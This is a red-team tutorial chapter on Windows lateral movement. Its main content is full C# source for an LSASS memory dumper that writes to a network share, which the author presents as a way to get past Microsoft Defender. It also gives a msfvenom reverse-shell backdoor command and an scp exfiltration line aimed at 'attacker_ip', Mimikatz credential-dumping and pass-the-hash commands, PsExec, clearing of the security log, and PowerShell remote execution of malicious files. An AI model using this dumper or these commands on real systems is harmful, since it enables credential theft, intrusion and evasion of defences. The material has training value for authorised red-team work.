Lateral Movement 101

Introduction

Have you ever wondered how hackers move laterally once they compromise a system? Where exactly is the flaw? Is that the Security Misconfiguration or access control issues or anything else which makes hacker’s life easier to reach out to the multiple systems by getting undetected by advanced detection and prevention techniques?

This chapter will focus more on the Lateral Movement techniques, real world Red Teaming Scenarios where it is successfully accomplished without getting detected by any AVs/EDRs…

Key Learning

Assess and compromise many targets to make sure a Red Teamer can have a broader scope. This may help in terms of showcasing the maximum security gaps to the CISO and Team, which are identified during the assignment.

When an attacker has successfully compromised a system, they have several options to further their attack within the network beyond using PowerShell. Here's an overview of the typical post-exploitation steps an attacker might take:

Ports and Services Scanning

Network Scanning: Attackers often perform network scans to identify other reachable systems within the network. Tools like Nmap can be used to discover open ports and services.

nmap -sV -p 1-65535 192.168.1.0/24

Output: A list of all devices on the network 192.168.1.0/24 with open ports and services

Internal Systems Exploitation

Exploiting Vulnerable Services: With information about open ports and services, attackers can look for vulnerabilities in known services that can be exploited to gain further access or elevated privileges.

Example:

searchsploit apache 2.4.49

Output: A list of exploits available for Apache 2.4.49.

Privilege Escalation

Local Exploits: Attackers may use local exploits to gain higher privileges on the compromised machine. Tools like Windows-Exploit-Suggester can be used to identify potential local exploits based on the system's patch level.

Example:

python windows-exploit-suggester.py -d 2023-03-15-mssb.xls -i systeminfo.txt

Output: A list of potential vulnerabilities and corresponding exploits for the given system.

Credential Access

Dumping Credentials: Tools like Mimikatz can be used to extract credentials from the compromised system, which can be used to access other systems.

Example:

mimikatz "privilege::debug" "sekurlsa::logonpasswords"

Screenshots are available in next few pages...

Output: A list of plaintext passwords, hashes, and Kerberos tickets for logged-in accounts.

Using Stolen Credentials: With valid credentials, attackers can move to other systems using methods like Remote Desktop (RDP), SSH, or other remote access protocols.

Example:

mstsc /v:target_system

Output: An RDP session window to the target system.

Establishing Persistence

Installing Backdoors: Attackers often establish persistence by installing backdoors or rootkits. Tools like Metasploit can be used to create and install payloads that provide persistent access.

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > backdoor.exe

Output: A 'backdoor.exe' file that will create a reverse TCP connection to the attacker's machine when executed.

Data Exfiltration

Data Harvesting: Sensitive data can be identified and collected for exfiltration. This might include personal data, intellectual property, or operational information.

Data Transfer: Data can be transferred out of the network via various means, including FTP, HTTP, DNS tunneling, or even cloud storage services.

Example:

scp /path/to/sensitive_data.txt user@attacker_ip:/path/to/store

Output: The sensitive data file is securely copied to the attacker's machine.

Covering Tracks

Log Tampering: Attackers may attempt to tamper with or delete logs to hide their activities.

Example:

Clear-EventLog -LogName Security

Output: The Security event log is cleared.

Windows Memory Protection

Why Memory Protection is so crucial in today’s world?

Memory protection is crucial for several compelling reasons, especially when considering attacks that target critical processes like LSASS (Local Security Authority Subsystem Service):

· Sensitive Data Exposure: Processes like LSASS handle sensitive information, including login credentials and security tokens. If an attacker dumps the memory contents of such processes, they can gain access to this sensitive data, leading to potential breaches.

· Bypassing Security Mechanisms: Effective memory protection helps prevent attacks that aim to bypass security mechanisms. Without it, attackers could manipulate memory to disable security software or evade detection.

· Maintaining System Integrity: Memory protection ensures that the integrity of system processes is maintained. Compromised memory can lead to system instability, crashes, or unexpected behavior that can be exploited by malicious entities.

Credentials Dumping: Traditional vs. Modern Approach

Gaining the Key to the Kingdom

Once local administrative access has been secured, the ability to extract credentials from a system becomes a pivotal next step for any attacker or red team operative. This practice, known as credential dumping, is the process of obtaining account login and password information from a compromised host. These credentials are the 'keys to the kingdom' that can allow an adversary to move laterally across the network, accessing resources, escalating privileges, and deepening their foothold within the environment.

Traditional Methods of Credential Dumping

Traditionally, credential dumping has involved leveraging tools like Windows Credential Editor or pwdump to extract password hashes from the Security Account Manager (SAM) on a Windows system. Attackers might also target the Local Security Authority Subsystem Service (LSASS) process memory, where credentials are stored in plain text or as reversible hashes.

Example of Traditional Credential Dumping:

# A traditional command-line tool to extract hashes
C:\> pwdump7.exe

Sample Output Format:

UserID:SID:LM_Hash:NTLM_Hash:::

The output from such tools would be a list of user accounts and their corresponding password hashes, which could then be cracked or used in pass-the-hash attacks however modern AVs and EDRs are capable enough to detect these kind of anomalies and immediately take action against it.

So the question arises that how to tackle this problem as any Red Team Operator would love to bypass these kind of detections, right?

So here is the modern approach

In modern environments, however, security advancements have forced attackers to evolve their techniques. Enhanced logging, advanced antivirus solutions, and behavioral analytics can often detect and block these traditional methods. As a result, modern attackers have developed more sophisticated means of credential dumping. These include memory dumping tools like Mimikatz, which can extract plaintext passwords, hash values, and even Kerberos tickets from memory.

Example of Modern Credential Dumping

# Using Mimikatz to dump credentials
mimikatz # sekurlsa::logonpasswords

Now-a-days even advanced tools like Mimikatz can also get detected by AVs and EDRs, here is the POC:

A brief on how does LSASS works:

The Local Security Authority Subsystem Service (LSASS) is a critical component of Microsoft Windows operating systems responsible for enforcing security policies on the system. LSASS handles user logins, password changes, and the creation of access tokens. It also writes to the Windows Security Log.

Here's a detailed look at how LSASS works:

Authentication and Logon Process: When a user logs into a Windows system, LSASS is responsible for handling the authentication process. This involves verifying the user's credentials against those stored in the system, typically within the Security Account Manager (SAM) database or Active Directory.

1. Credential Verification:

· For local user accounts, LSASS checks the credentials against the SAM.

· For domain accounts, it communicates with Active Directory.

2. Access Token Creation:

· Upon successful authentication, LSASS generates an access token.

· This token contains the user's SID (Security Identifier) and the SIDs of any groups the user belongs to.

3. Session Handling:

· LSASS maintains information about all active sessions on the Windows system.

· It tracks user logins, logouts, and other session-related activities..

Password Changes and Account Management: LSASS also handles password changes and other account management functions. When a password is changed or reset, LSASS ensures that the new password meets the system’s policy requirements and updates the relevant databases.

So ultimately our target is to dump the LSASS process…

Here is how we can achieve the same and won’t get caught by most of the AV/EDRs:

Write a program in C# to dump any process, remember one thing that these days AVs and EDRs are capable enough to detect and prevent these type of Memory dumping attacks hence we will take a different approach:

In my recent engagement, I was struggling to dump the credentials through LSASS process using the CodeDump.exe I have created using C#

The reason was that the MS Defender was stopping me from dumping the process (LSASS) data using my custom script.

Usually this happens because you are dumping something using your custom tools BUT on your hard disk only so how to overcome this problem?

Being a Red Teamer, we should think out of the box so I decided to write a program again with some tweaks, now this time I used Network Share Drive to dump the file:

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

class MiniDumpUtility
{
    [Flags]
    public enum MiniDumpType
    {
        MiniDumpNormal = 0x00000000,
        MiniDumpWithDataSegs = 0x00000001,
        MiniDumpWithFullMemory = 0x00000002,
        MiniDumpWithHandleData = 0x00000004,
        // ... other options
    }

    [DllImport("dbghelp.dll", SetLastError = true)]
    private static extern bool MiniDumpWriteDump(IntPtr hProcess, int processId, SafeHandle hFile, MiniDumpType dumpType, IntPtr exceptionParam, IntPtr userStreamParam, IntPtr callbackParam);

    static void Main()
    {
        Process[] processes = Process.GetProcessesByName("lsass");
        if (processes.Length == 0)
        {
            Console.WriteLine("lsass is not running.");
            return;
        }
        Process process = processes[0];

        Console.WriteLine("Please enter the network path to save the dump file (e.g., \\\\server\\share):");
        string networkPath = Console.ReadLine();
        Console.WriteLine("Please enter the username:");
        string username = Console.ReadLine();
        Console.WriteLine("Please enter the password:");
        string password = Console.ReadLine();

        // Construct the full path for the network dump
        string networkFullPath = Path.Combine(networkPath.TrimEnd('\\'), process.ProcessName + ".dmp");

        // Map the network drive using the provided credentials
        ExecuteCommand("net use " + networkPath + " /user:" + username + " \"" + password + "\"");

        // Create the dump file directly on the network path
        using (FileStream dumpFile = new FileStream(networkFullPath, FileMode.Create))
        {
            bool result = MiniDumpWriteDump(process.Handle, process.Id, dumpFile.SafeFileHandle, MiniDumpType.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            if (!result)
            {
                Console.WriteLine("Failed to create dump file. Error: " + Marshal.GetLastWin32Error());
                // Attempt to unmap the network drive even if the dump creation failed
                ExecuteCommand("net use " + networkPath + " /delete");
                return;
            }
        }

        Console.WriteLine("Dump file successfully saved to: " + networkFullPath);

        // Disconnect the network drive
        ExecuteCommand("net use " + networkPath + " /delete");
    }

    static void ExecuteCommand(string command)
    {
        ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe", "/C " + command)
        {
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            RedirectStandardError = true
        };

        using (Process processCmd = new Process { StartInfo = startInfo })
        {
            processCmd.Start();
            processCmd.WaitForExit();
        }
    }
}

Brief about this code

This C# code snippet defines a class MiniDumpUtility that uses a platform invocation service to call the MiniDumpWriteDump function from the Windows dbghelp.dll. The function is used to create a dump file for a running process, which is a snapshot of the process's memory at a given time.

The MiniDumpWriteDump function is declared with the DllImport attribute, specifying that the method is implemented in an external DLL, in this case, dbghelp.dll. The SetLastError = true attribute property allows the program to retrieve detailed error information if the function call fails.

The method's signature includes several parameters: a handle to the process (hProcess), the process identifier (processId), a handle to the file where the dump will be written (hFile), and the type of dump to be performed (dumpType). Additional parameters allow specifying information for exception handling and callbacks, but they are set to IntPtr.Zero in the code, indicating they are not used.

The MiniDumpUtility class' Main method prompts the user for credentials and a network path, maps a network drive, and attempts to write a memory dump of the lsass process to this location. If successful, the dump file path is outputted to the console; otherwise, an error message is displayed. After the operation, the network drive is disconnected. Auxiliary functions are used to execute command-line commands to map and disconnect the network drive.

So basically this Dump.exe (or whatever name you give it at the time of compiling this code) will dump the LSASS process by asking you to save the LSASS.dmp in the destination system using the Network Path and valid credentials of that system where you are going to save this file (LSASS.dmp).

Once you give all the details, LSASS.dmp will be saved to the network smb’s destination.

Here is the POC:

Compile the code using:

.\csc.exe /out:CI_ProcDump.exe "E:\Path_to_CI_ProcDump.cs”

Execute the same and voila, you got this file on your local system:

As you can see in the screenshot, we were able to export the LSASS.dmp even though MS Defender was running on the full detection and prevention mode…

Now we will dump the credentials from this file on our machine where mimikatz.exe exists:

We can see Administrator’s password in plain text along with the NTLM hash:

Just Local Admin or Domain User/Admin as well?

Memory protection is paramount because it acts as a safeguard against unauthorized access to sensitive information. Tools like Mimikatz, or even more advanced custom-developed tools (we have seen in this chapter), have the capability to extract sensitive credentials from memory, such as those of local administrators and users. However, their potency doesn't end there; they can also potentially compromise domain user and administrator accounts. These accounts often have elevated privileges, which, if obtained by an attacker, could lead to a full-scale compromise of the entire domain, allowing for lateral movement and access to critical resources across the network. Ensuring memory protection is robust helps mitigate the risk of such credential harvesting and is a key component in the defense-in-depth security strategy that is crucial for maintaining organizational and data security in today's interconnected environment.

In this chapter, we explored one clever way to stay under the radar of antivirus and EDR systems. But remember, this is just the tip of the iceberg. There's a whole world of other methods out there, each with its own way to navigate around security barriers without detection. To effectively navigate through the defenses of advanced security systems, one must cultivate a robust skill set. This includes a deep understanding of system vulnerabilities, proficiency in programming languages for script writing and tool development, expertise in network protocols, and familiarity with the inner workings of operating systems. Mastery over encryption and obfuscation techniques, alongside continuous learning to stay ahead of evolving security measures, is also essential. Equipped with these tools and knowledge, one can approach the challenge of security evasion with confidence.

As you continue learning, you'll uncover many more techniques like this.

Beyond credentials dumping

Lateral movement in cyber-attacks is the process where an attacker moves from one compromised host to another within a network. This is typically done after gaining initial access and is aimed at achieving specific goals such as gaining elevated privileges, accessing sensitive data, or establishing persistence within the network. Here's an in-depth look at the types of lateral movement, the activities involved, and some examples.

Lateral Movement Tools and Techniques

Pass-the-Hash (PtH): This technique involves using a hash of a user's password rather than the plaintext password itself to authenticate to other systems on the network. For example, an attacker might dump NTLM password hashes from one machine and use them to authenticate to other machines without needing to crack the hashes to obtain the actual passwords.

Pass-the-Ticket (PtT): Similar to PtH, PtT involves stealing Kerberos tickets (such as TGTs or service tickets) and using them to authenticate to resources within a Windows domain.

Forged Authentication Requests: Attackers can create fraudulent authentication requests if they've compromised credentials that allow them to forge requests, such as SAML tokens in cloud environments.

Remote Services: Attackers can use remote services like Remote Desktop Protocol (RDP), Secure Shell (SSH), or WinRM to connect to other machines in the network using stolen credentials.

Use of Legitimate Credentials: Through methods like social engineering, attackers may gain legitimate user credentials that allow them to log into systems directly.

Reconnaissance: Once on a network, attackers often perform reconnaissance to discover network topology, identify targets, and plan their movements. Tools like nmap or Advanced IP Scanner can be used for network scanning.

Credential Dumping: Tools like Mimikatz are used to extract credentials and tokens from memory, which can then be used to access other systems.

Session Hijacking: Taking over existing authenticated sessions can be a stealthy way for attackers to move laterally.

Creating Backdoors: Attackers may establish new user accounts or install their own remote access tools to ensure continued access to the network.

Privilege Escalation: Moving laterally often requires higher privileges, which attackers can gain through exploits or by using credentials with higher access levels.

Execution of Payloads: With access to a new host, attackers can execute payloads that may establish a command and control channel or perform actions directly on the target system.

Examples:

Example 1: Pass-the-Hash with Mimikatz

After gaining access to a host, an attacker dumps the hashes:

mimikatz # sekurlsa::logonpasswords

Output might include NTLM hashes, which the attacker can use:

mimikatz # sekurlsa::pth /user:Admin /domain:corporate /ntlm:{hash} /run:"mstsc /restrictedadmin"

This command uses the NTLM hash to start a remote desktop session without the plaintext password.

Example 2: Remote Service Execution

Using a tool like PsExec to run a command on a remote machine:

PsExec.exe \\targetMachine -u domain\username -p password cmd.exe

This would open a command shell on the targetMachine using the provided credentials.

More on Lateral Movement with Powershell:

Lateral movement using PowerShell is a sophisticated technique that attackers leverage due to PowerShell's flexibility and deep integration with Windows environments. Below are detailed examples of advanced lateral movement techniques using PowerShell scripts.

PowerShell Remoting

PowerShell remoting allows for running commands on remote systems. Attackers who have gained credentials can use this feature to execute commands without needing to drop files on the remote system.

Example:

# Using PowerShell remoting to start a process on a remote machine
$cred = Get-Credential
Invoke-Command -ComputerName TargetComputerName -Credential $cred -ScriptBlock {
    Start-Process "C:\Path\To\Malicious\File.exe"
}

Output: The output would be the result of the Start-Process command on the remote machine, typically no output upon successful execution, or error messages if the execution fails.

WMI with PowerShell

Windows Management Instrumentation (WMI) can be used for executing code remotely. PowerShell provides a straightforward interface to interact with WMI.

# Starting a remote process using WMI with PowerShell
$cred = Get-Credential
$process = @{ 
    Path = "C:\Path\To\Malicious\File.exe"
}
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $process.Path -ComputerName TargetComputerName -Credential $cred

Output: The output will be the return value of the Invoke-WmiMethod call, typically including the ReturnValue and ProcessId of the process started on the remote system.

Remote Service Creation with PowerShell

Creating a service on a remote machine can be a way to execute code, especially if the service is set to start automatically.

Example:

# Using PowerShell to create a new service on a remote machine
$cred = Get-Credential
New-Service -Name "Updater" -BinaryPathName "C:\Path\To\Malicious\File.exe" -ComputerName TargetComputerName -Credential $cred

Output: The output is typically confirmation that the new service has been created.

Conclusion

Successfully compromising a system opens up multiple avenues for an attacker to deepen their foothold within a network. By employing a combination of scanning, exploitation, credential access, lateral movement, persistence, exfiltration, and covering tracks, attackers can conduct extensive intrusions, often undetected. Each step requires careful execution to avoid detection and to maintain access for as long as needed to achieve their goals.

Lateral movement is a critical phase in an attack where the threat actor seeks to expand their foothold within a network. It often involves the use of stolen credentials and the exploitation of legitimate network functions and protocols. Detecting and responding to lateral movement requires a combination of strong authentication policies, network segmentation, monitoring and detection tools, and rapid incident response capabilities.

Advanced lateral movement in PowerShell can take many forms and leverage different parts of the Windows infrastructure. These PowerShell-based lateral movement techniques are powerful due to their ability to execute without direct file transfers, often leaving a minimal footprint.

Expert Tip

In the rapidly evolving world of cybersecurity, attack methodologies are becoming increasingly sophisticated, leading to more advanced detection and prevention techniques. As adversaries develop new tactics, cybersecurity professionals must stay ahead of the curve. One way to do this is by enhancing your expertise with advanced Reverse Engineering Techniques, particularly focusing on Windows binaries.

Delving into the intricate details of Windows binaries, including a deep understanding of System Calls and APIs, is crucial in today's cybersecurity landscape. This expertise allows you to effectively circumvent modern security systems such as Antivirus software (AVs) and Endpoint Detection and Response systems (EDRs). These systems have matured significantly, employing complex algorithms and heuristic analysis to detect and mitigate threats. By understanding the inner workings of these systems and the binaries they aim to protect, you can develop strategies to bypass these defenses without triggering alarms.

Reverse engineering equips you with the ability to dissect and analyze how applications and malware operate. This skill is invaluable for uncovering vulnerabilities, understanding malware propagation methods, and developing effective countermeasures. Additionally, it aids in forensics, allowing you to trace back the steps of an attacker, understand their techniques, and potentially identify their origins.

Moreover, this knowledge goes beyond technical prowess; it provides strategic insights that are vital for navigating and overcoming sophisticated cybersecurity defenses. In an environment where attackers continually adapt and evolve, the ability to think like an attacker and anticipate their moves becomes a key asset.

Furthermore, proficiency in reverse engineering enhances your broader skillset in cybersecurity. It fosters a more comprehensive approach to security, encouraging a proactive rather than reactive stance. By understanding the potential loopholes and backdoors that attackers might exploit, you can better secure systems and networks against emerging threats.

In summary, as cybersecurity defenses grow more sophisticated, so must the techniques and knowledge of those entrusted with defending digital assets. Investing in advanced skills like reverse engineering not only broadens your technical capabilities but also empowers you with the strategic acumen needed to navigate and neutralize complex cyber threats effectively.

Last updated